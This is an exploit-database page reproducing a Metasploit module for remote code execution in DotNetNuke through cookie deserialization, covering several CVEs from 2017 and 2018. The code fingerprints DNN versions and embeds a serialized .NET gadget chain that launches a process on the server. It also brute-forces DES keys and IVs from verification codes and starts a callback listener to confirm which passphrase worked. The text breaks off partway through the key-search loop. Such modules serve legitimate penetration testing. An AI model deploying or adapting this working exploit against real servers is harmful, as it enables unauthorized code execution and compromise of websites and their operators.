Search for hundreds of thousands of exploits

"DotNetNuke - Cookie Deserialization Remote Code Execution (Metasploit)"

Author

Exploit author

Metasploit

Platform

Exploit platform

windows

Release date

Exploit published date

2020-04-16

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'
require 'openssl'
require 'set'

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::HttpServer

  Rank = ExcellentRanking

  # =================================
  # Overidden setup method to allow
  # for delayed handler start
  # =================================
  def setup
    # Reset the session counts to zero.
    reset_session_counts

    return if !payload_instance
    return if !handler_enabled?

    # Configure the payload handler
    payload_instance.exploit_config = {
      'active_timeout' => active_timeout
    }

    # payload handler is normally set up and started here
    # but has been removed so we can start the handler when needed.
  end

  def initialize(info = {})
    super(update_info(
      info,
      'Name'           => "DotNetNuke Cookie Deserialization Remote Code Execution",
      'Description'    => %q(
        This module exploits a deserialization vulnerability in DotNetNuke (DNN) versions 5.0.0 to 9.3.0-RC.
        Vulnerable versions store profile information for users in the DNNPersonalization cookie as XML.
        The expected structure includes a "type" attribute to instruct the server which type of object to create on deserialization.
        The cookie is processed by the application whenever it attempts to load the current user's profile data.
        This occurs when DNN is configured to handle 404 errors with its built-in error page (default configuration).
        An attacker can leverage this vulnerability to execute arbitrary code on the system.
      ),
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Jon Park', 'Jon Seigel' ],
      'References'     =>
        [
          [ 'CVE', '2017-9822' ],
          [ 'CVE', '2018-15811'],
          [ 'CVE', '2018-15812'],
          [ 'CVE', '2018-18325'], # due to failure to patch CVE-2018-15811
          [ 'CVE', '2018-18326'], # due to failure to patch CVE-2018-15812
          [ 'URL', 'https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf'],
          [ 'URL', 'https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html'],
          [ 'URL', 'https://github.com/pwntester/ysoserial.net']
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { 'auto' => true } ],
          [ 'v5.0 - v9.0.0', { 'ReqEncrypt' => false, 'ReqSession' => false } ],
          [ 'v9.0.1 - v9.1.1', { 'ReqEncrypt' => false, 'ReqSession' => false } ],
          [ 'v9.2.0 - v9.2.1', { 'ReqEncrypt' => true, 'ReqSession' => true } ],
          [ 'v9.2.2 - v9.3.0-RC', { 'ReqEncrypt' => true, 'ReqSession' => true } ]
        ],
      'Stance' => Msf::Exploit::Stance::Aggressive,
      'Payload'        =>
        {

        },
      'Privileged'     => false,
      'DisclosureDate' => "Jul 20 2017",
      'DefaultOptions' => { 'WfsDelay' => 5 },
      'DefaultTarget'  => 0
    ))

    deregister_options('SRVHOST')

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path that will result in the DNN 404 response', '/__']),
        OptBool.new('DryRun', [false, 'Performs target version check, finds encryption KEY and IV values if required, and outputs a cookie payload', false]),
        OptString.new('VERIFICATION_PLAIN', [false, %q(The known (full or partial) plaintext of the encrypted verification code.
        Typically in the format of {portalID}-{userID} where portalID is an integer and userID is either an integer or GUID (v9.2.2+)), '']),
        OptBool.new('ENCRYPTED', [true, %q(Whether or not to encrypt the final payload cookie;
        (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV) are required if set to true.), false]),
        OptString.new('KEY', [false, 'The key to use for encryption.', '']),
        OptString.new('IV', [false, 'The initialization vector to use for encryption.', '']),
        OptString.new('SESSION_TOKEN', [false, %q(The .DOTNETNUKE session cookie to use when submitting the payload to the target server.
        DNN versions 9.2.0+ require the attack to be submitted from an authenticated context.), '']),
        OptString.new('VERIFICATION_CODE', [false, %q(The encrypted verification code received in a registration email.
        Can also be the path to a file containing a list of verification codes.), ''])
      ]
    )


    initialize_instance_variables
  end

  def initialize_instance_variables
    # ==================
    # COMMON VARIABLES
    # ==================

    @target_idx = 0

    # Flag for whether or not to perform exploitation
    @dry_run = false

    # Flag for whether or not the target requires encryption
    @encrypted = false

    # Flag for whether or not to attempt to decrypt the provided verification token(s)
    @try_decrypt = false

    # ==================
    # PAYLOAD VARIABLES
    # ==================

    # ObjectStateFormatter serialized header
    @osf_header = [255, 1, 50]

    # ObjectStateFormatter serialized data before the command payload
    @osf_wrapper_start = [
      0, 1, 0, 0, 0, 255, 255, 255, 255, 1, 0, 0, 0, 0, 0, 0, 0, 12, 2, 0, 0, 0, 73,
      83, 121, 115, 116, 101, 109, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52,
      46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101,
      117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84,
      111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101,
      48, 56, 57, 5, 1, 0, 0, 0, 132, 1, 83, 121, 115, 116, 101, 109, 46, 67, 111,
      108, 108, 101, 99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101, 114, 105,
      99, 46, 83, 111, 114, 116, 101, 100, 83, 101, 116, 96, 49, 91, 91, 83, 121,
      115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111,
      114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48,
      46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117,
      116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111,
      107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56,
      57, 93, 93, 4, 0, 0, 0, 5, 67, 111, 117, 110, 116, 8, 67, 111, 109, 112, 97,
      114, 101, 114, 7, 86, 101, 114, 115, 105, 111, 110, 5, 73, 116, 101, 109, 115,
      0, 3, 0, 6, 8, 141, 1, 83, 121, 115, 116, 101, 109, 46, 67, 111, 108, 108, 101,
      99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101, 114, 105, 99, 46, 67, 111,
      109, 112, 97, 114, 105, 115, 111, 110, 67, 111, 109, 112, 97, 114, 101, 114,
      96, 49, 91, 91, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103,
      44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105,
      111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114,
      101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99,
      75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49,
      57, 51, 52, 101, 48, 56, 57, 93, 93, 8, 2, 0, 0, 0, 2, 0, 0, 0, 9, 3, 0, 0, 0,
      2, 0, 0, 0, 9, 4, 0, 0, 0, 4, 3, 0, 0, 0, 141, 1, 83, 121, 115, 116, 101, 109,
      46, 67, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101,
      114, 105, 99, 46, 67, 111, 109, 112, 97, 114, 105, 115, 111, 110, 67, 111, 109,
      112, 97, 114, 101, 114, 96, 49, 91, 91, 83, 121, 115, 116, 101, 109, 46, 83,
      116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32,
      86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67,
      117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80,
      117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55,
      97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93, 93, 1, 0, 0, 0, 11,
      95, 99, 111, 109, 112, 97, 114, 105, 115, 111, 110, 3, 34, 83, 121, 115, 116,
      101, 109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108,
      105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 9, 5, 0, 0, 0,
      17, 4, 0, 0, 0, 2, 0, 0, 0, 6, 6, 0, 0, 0
    ]

    # ObjectStateFormatter serialized data to place after the command payload.
    @osf_wrapper_end = [
      6, 7, 0, 0, 0, 3, 99, 109, 100, 4, 5, 0, 0, 0, 34, 83, 121, 115, 116, 101,
      109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108,
      105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 3, 0, 0, 0, 8,
      68, 101, 108, 101, 103, 97, 116, 101, 7, 109, 101, 116, 104, 111, 100, 48, 7,
      109, 101, 116, 104, 111, 100, 49, 3, 3, 3, 48, 83, 121, 115, 116, 101, 109,
      46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108, 105,
      122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 43, 68, 101, 108,
      101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 47, 83, 121, 115, 116, 101,
      109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 46, 77, 101, 109,
      98, 101, 114, 73, 110, 102, 111, 83, 101, 114, 105, 97, 108, 105, 122, 97,
      116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 47, 83, 121, 115, 116, 101,
      109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 46, 77, 101, 109,
      98, 101, 114, 73, 110, 102, 111, 83, 101, 114, 105, 97, 108, 105, 122, 97,
      116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 9, 8, 0, 0, 0, 9, 9, 0, 0,
      0, 9, 10, 0, 0, 0, 4, 8, 0, 0, 0, 48, 83, 121, 115, 116, 101, 109, 46, 68,
      101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108, 105, 122, 97,
      116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 43, 68, 101, 108, 101, 103,
      97, 116, 101, 69, 110, 116, 114, 121, 7, 0, 0, 0, 4, 116, 121, 112, 101, 8,
      97, 115, 115, 101, 109, 98, 108, 121, 6, 116, 97, 114, 103, 101, 116, 18,
      116, 97, 114, 103, 101, 116, 84, 121, 112, 101, 65, 115, 115, 101, 109, 98,
      108, 121, 14, 116, 97, 114, 103, 101, 116, 84, 121, 112, 101, 78, 97, 109,
      101, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 13, 100, 101, 108,
      101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 1, 1, 2, 1, 1, 1, 3, 48, 83,
      121, 115, 116, 101, 109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101,
      114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101,
      114, 43, 68, 101, 108, 101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 6, 11,
      0, 0, 0, 176, 2, 83, 121, 115, 116, 101, 109, 46, 70, 117, 110, 99, 96, 51,
      91, 91, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32,
      109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111,
      110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114,
      101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99,
      75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49,
      57, 51, 52, 101, 48, 56, 57, 93, 44, 91, 83, 121, 115, 116, 101, 109, 46, 83,
      116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44,
      32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32,
      67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44,
      32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98,
      55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93, 44, 91, 83,
      121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99,
      115, 46, 80, 114, 111, 99, 101, 115, 115, 44, 32, 83, 121, 115, 116, 101,
      109, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46,
      48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114,
      97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101,
      110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93,
      93, 6, 12, 0, 0, 0, 75, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86,
      101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67,
      117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32,
      80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55,
      55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 10, 6, 13, 0, 0, 0,
      73, 83, 121, 115, 116, 101, 109, 44, 32, 86, 101, 114, 115, 105, 111, 110,
      61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61,
      110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101,
      121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51,
      52, 101, 48, 56, 57, 6, 14, 0, 0, 0, 26, 83, 121, 115, 116, 101, 109, 46, 68,
      105, 97, 103, 110, 111, 115, 116, 105, 99, 115, 46, 80, 114, 111, 99, 101,
      115, 115, 6, 15, 0, 0, 0, 5, 83, 116, 97, 114, 116, 9, 16, 0, 0, 0, 4, 9, 0,
      0, 0, 47, 83, 121, 115, 116, 101, 109, 46, 82, 101, 102, 108, 101, 99, 116,
      105, 111, 110, 46, 77, 101, 109, 98, 101, 114, 73, 110, 102, 111, 83, 101,
      114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101,
      114, 7, 0, 0, 0, 4, 78, 97, 109, 101, 12, 65, 115, 115, 101, 109, 98, 108,
      121, 78, 97, 109, 101, 9, 67, 108, 97, 115, 115, 78, 97, 109, 101, 9, 83,
      105, 103, 110, 97, 116, 117, 114, 101, 10, 83, 105, 103, 110, 97, 116, 117,
      114, 101, 50, 10, 77, 101, 109, 98, 101, 114, 84, 121, 112, 101, 16, 71, 101,
      110, 101, 114, 105, 99, 65, 114, 103, 117, 109, 101, 110, 116, 115, 1, 1, 1,
      1, 1, 0, 3, 8, 13, 83, 121, 115, 116, 101, 109, 46, 84, 121, 112, 101, 91,
      93, 9, 15, 0, 0, 0, 9, 13, 0, 0, 0, 9, 14, 0, 0, 0, 6, 20, 0, 0, 0, 62, 83,
      121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99,
      115, 46, 80, 114, 111, 99, 101, 115, 115, 32, 83, 116, 97, 114, 116, 40, 83,
      121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83, 121,
      115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 6, 21, 0, 0, 0, 62,
      83, 121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105,
      99, 115, 46, 80, 114, 111, 99, 101, 115, 115, 32, 83, 116, 97, 114, 116, 40,
      83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83,
      121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 8, 0, 0, 0,
      10, 1, 10, 0, 0, 0, 9, 0, 0, 0, 6, 22, 0, 0, 0, 7, 67, 111, 109, 112, 97,
      114, 101, 9, 12, 0, 0, 0, 6, 24, 0, 0, 0, 13, 83, 121, 115, 116, 101, 109,
      46, 83, 116, 114, 105, 110, 103, 6, 25, 0, 0, 0, 43, 73, 110, 116, 51, 50,
      32, 67, 111, 109, 112, 97, 114, 101, 40, 83, 121, 115, 116, 101, 109, 46,
      83, 116, 114, 105, 110, 103, 44, 32, 83, 121, 115, 116, 101, 109, 46, 83,
      116, 114, 105, 110, 103, 41, 6, 26, 0, 0, 0, 50, 83, 121, 115, 116, 101,
      109, 46, 73, 110, 116, 51, 50, 32, 67, 111, 109, 112, 97, 114, 101, 40, 83,
      121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83, 121,
      115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 8, 0, 0, 0, 10, 1,
      16, 0, 0, 0, 8, 0, 0, 0, 6, 27, 0, 0, 0, 113, 83, 121, 115, 116, 101, 109,
      46, 67, 111, 109, 112, 97, 114, 105, 115, 111, 110, 96, 49, 91, 91, 83, 121,
      115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 109, 115, 99,
      111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52,
      46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110,
      101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101,
      121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51,
      52, 101, 48, 56, 57, 93, 93, 9, 12, 0, 0, 0, 10, 9, 12, 0, 0, 0, 9, 24, 0,
      0, 0, 9, 22, 0, 0, 0, 10, 11
    ]

    @cr_regex = /(?<=Copyright \(c\) 2002-)(\d{4})/

    # ==================
    # v9.1.1+ VARIABLES
    # ==================


    @key_charset = "02468ABDF"
    @verification_codes = []

    @iv_regex = /[0-9A-F]{8}/

    # Known plaintext
    @kpt = ""

    # Encryption objects
    @decryptor = OpenSSL::Cipher.new('des')
    @decryptor.decrypt

    @encryptor = OpenSSL::Cipher.new('des')
    @encryptor.encrypt

    # final passphrase (key +iv) to use for payload (v9.1.1+)
    @passphrase = ""

    # ==================
    # v9.2.0+ VARIABLES
    # ==================

    # Session token needed for exploitation (v9.2.0+)
    @session_token = ""

    # ==================
    # v9.2.2+ VARIABLES
    # ==================

    # User ID format (v9.2.2+)
    # Number of characters of user ID available in plaintext
    # is equal to the length of a GUID (no spaces or dashes)
    # minus (blocksize - known plaintext length).
    @user_id_pt_length = 32 - (8 - @kpt.length)
    @user_id_regex = /[0-9a-f]{#{@user_id_pt_length}}/

    # Plaintext found from decryption (v9.2.2+)
    @found_pt = ""

    @iv_charset = "0123456789abcdef"

    # Possible IVs used to encrypt verification codes (v9.2.2+)
    @possible_ivs = Set.new([])

    # Possible keys used to encrypt verification codes (v9.2.2+)
    @possible_keys = Set.new([])

    # passphrases (key + iv) values to use for payload encryption (v9.2.2+)
    @passphrases = []

    # char sets to use when generating possible base keys
    @unchanged = Set.new([65,70])
  end

  def decode_verification(code)
    # Decode verification code base don DNN format
    return String.new(
      Rex::Text.decode_base64(
        code.chomp.gsub(".", "+").gsub("-", "/").gsub("_", "=")
      )
    )
  end

  # ==============
  # Main function
  # ==============
  def exploit

    return unless check == Exploit::CheckCode::Appears

    @encrypted = datastore['ENCRYPTED']
    verification_code = datastore['VERIFICATION_CODE']
    if File.file?(verification_code)
      File.readlines(verification_code).each do |code|
        @verification_codes.push(decode_verification(code))
      end
    else
      @verification_codes.push(decode_verification(verification_code))
    end

    @kpt = datastore['VERIFICATION_PLAIN']

    @session_token = datastore['SESSION_TOKEN']
    @dry_run = datastore['DryRun']
    key = datastore['KEY']
    iv = datastore['IV']

    if target['ReqEncrypt'] && @encrypted == false
      print_warning("Target requires encrypted payload. Exploit may not succeed.")
    end

    if @encrypted
      # Requires either supplied key and IV, or verification code and plaintext
      if (!key.blank? && !iv.blank?)
        @passphrase = key + iv
        # Key and IV were supplied, don't try and decrypt.
        @try_decrypt = false
      elsif (!@verification_codes.empty? && !@kpt.blank?)
        @try_decrypt = true
      else
        fail_with(Failure::BadConfig, "You must provide either (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV).")
      end
    end

    if target['ReqSession']
      if @session_token.blank?
        fail_with(Failure::BadConfig, "Target requires a valid SESSION_TOKEN for exploitation.")
      end
    end

    if @encrypted && @try_decrypt
      # Set IV for decryption as the known plaintext, manually
      # apply PKCS padding (N bytes of N), and disable padding on the decryptor to increase speed.
      # For v9.1.1 - v9.2.1 this will find the valid KEY and IV value in real time.
      # For v9.2.2+ it will find an initial base key faster than if padding were enabled.
      f8_plain = @kpt[0, 8]
      c_iv = f8_plain.unpack("C*") + [8 - f8_plain.length] * (8 - f8_plain.length)
      @decryptor.iv = String.new(c_iv.pack("C*"))
      @decryptor.padding = 0

      key = find_key(@verification_codes[0])
      if key.blank?
        return
      end

      if @target_idx == 4
        # target is v9.2.2+, requires base64 generated key and IV values.
        generate_base_keys(0, key.each_byte.to_a, "")
        vprint_status("Generated #{@possible_keys.size} possible base KEY values from #{key}")

        # re-enable padding here as it doesn't have the
        # same performance impact when trying to find possible IV values.
        @decryptor.padding = 1

        print_warning("Finding possible base IVs. This may take a few minutes...")
        start = Time.now
        find_ivs(@verification_codes, key)
        elapsed = Time.now - start
        vprint_status(
          format(
            "Found %<n_ivs>d potential Base IV values using %<n_codes>d "\
            "verification codes in %<e_time>.2f seconds.",
            n_ivs: @possible_ivs.size,
            n_codes: @verification_codes.size,
            e_time: elapsed.to_s
          )
        )

        generate_payload_passphrases
        vprint_status(format("Generated %<n_phrases>d possible base64 KEY and IV combinations.", n_phrases: @passphrases.size))
      end

      if @passphrase.blank?
        # test all generated passphrases by
        # sending an exploit payload to the target
        # that will callback to an HTTP listener
        # with the index of the passphrase that worked.

        # set SRVHOST as LHOST value for HTTPServer mixin
        datastore['SRVHOST'] = datastore['LHOST']
        print_warning("Trying all possible KEY and IV combinations...")
        print_status("Starting HTTP listener on port #{datastore['SRVPORT']}...")
        start_service
        vprint_warning("Sending #{@passphrases.count} test Payload(s) to: #{normalize_uri(target_uri.path)}. This may take a few minutes ...")

        test_passphrases

        # If no working passphrase has been found,
        # wait to allow the the chance for the last one to callback.
        if @passphrase.empty? && !@dry_run
          sleep(wfs_delay)
        end
        if service
          stop_service
        end
        print "\r\n"
        if !@passphrase.empty?
          print_good("KEY: #{@passphrase[0, 8]} and IV: #{@passphrase[8..-1]} found")
        end
      end
    end
    send_exploit_payload
  end

  # =====================
  # For the check command
  # =====================
  def check
    if target.name == 'Automatic'
      select_target
    end

    @target_idx = Integer(datastore['TARGET'])

    if @target_idx == 0
      fail_with(Failure::NoTarget, 'No valid target found or specified.')
    end

    # Check if 404 page is custom or not.
    # Vulnerability requires custom 404 handling (enabled by default).
    uri = normalize_uri(target_uri.path)
    print_status("Checking for custom error page at: #{uri} ...")
    res = send_request_cgi(
      'uri' => uri
    )

    if res.code == 404 && !res.body.include?('Server Error') && res.to_s.length > 1600
      print_good("Custom error page detected.")
    else
      print_error("IIS Error Page detected.")
      return Exploit::CheckCode::Safe
    end
    return Exploit::CheckCode::Appears
  end

  # ===========================
  # Auto-select target version
  # ===========================
  def select_target
    print_status("Trying to determine DNN Version...")
    # Check for copyright version in /Documentation/license.txt
    uri = %r{^(.*[\\\/])}.match(target_uri.path)[0]
    vprint_status("Checking version at #{normalize_uri(uri + 'Documentation', 'License.txt')} ...")
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(uri + 'Documentation', 'License.txt')
    )
    year = -1
    if res && res.code == 200
      # License page found, get latest copyright year.
      matches = @cr_regex.match(res.body)
      if matches
        year = matches[0].to_i
      end
    else
      vprint_status("Checking version at #{uri} ...")
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(uri)
      )
      if res && res.code == 200
        # Check if copyright info is in page HTML.
        matches = @cr_regex.match(res.body)
        if matches
          year = matches[0].to_i
        end
      end
    end

    if year >= 2018
      print_warning(
        %q(DNN Version Found: v9.2.0+ - Requires ENCRYPTED and SESSION_TOKEN.
Setting target to 3 (v9.2.0 - v9.2.1). Site may also be 9.2.2.
Try setting target 4 and supply a file of of verification codes or specifiy valid Key and IV values.")
      )
      datastore['TARGET'] = 3
    elsif year == 2017
      print_warning('DNN Version Found: v9.0.1 - v9.1.1 - May require ENCRYPTED')
      datastore['TARGET'] = 2
    elsif year < 2017 && year > 2008
      print_good("DNN Version Found: v5.1.0 - v9.0.1")
      datastore['TARGET'] = 1
    elsif year == 2008
      print_warning("DNN Version is either v5.0.0 (vulnerable) or 4.9.x (not vulnerable).")
      datastore['TARGET'] = 1
    else
      print_warning("Could not determine DNN version. Target may still be vulnerable. Manually set the Target value")
    end
  end

  # ==============================
  # Known plaintext attack to
  # brute-force the encryption key
  # ==============================
  def find_key(cipher_text)
    print_status("Finding Key...")

    # Counter
    total_keys = @key_charset.length**8
    i = 1

    # Set start time
    start = Time.now

    # First char
    @key_charset.each_byte do |a|
      key = a.chr
      # 2
      @key_charset.each_byte do |b|
        key[1] = b.chr
        # 3
        @key_charset.each_byte do |c|
          key[2] = c.chr
          # 4
          @key_charset.each_byte do |d|
            key[3] = d.chr
            # 5
            @key_charset.each_byte do |e|
              key[4] = e.chr
              # 6
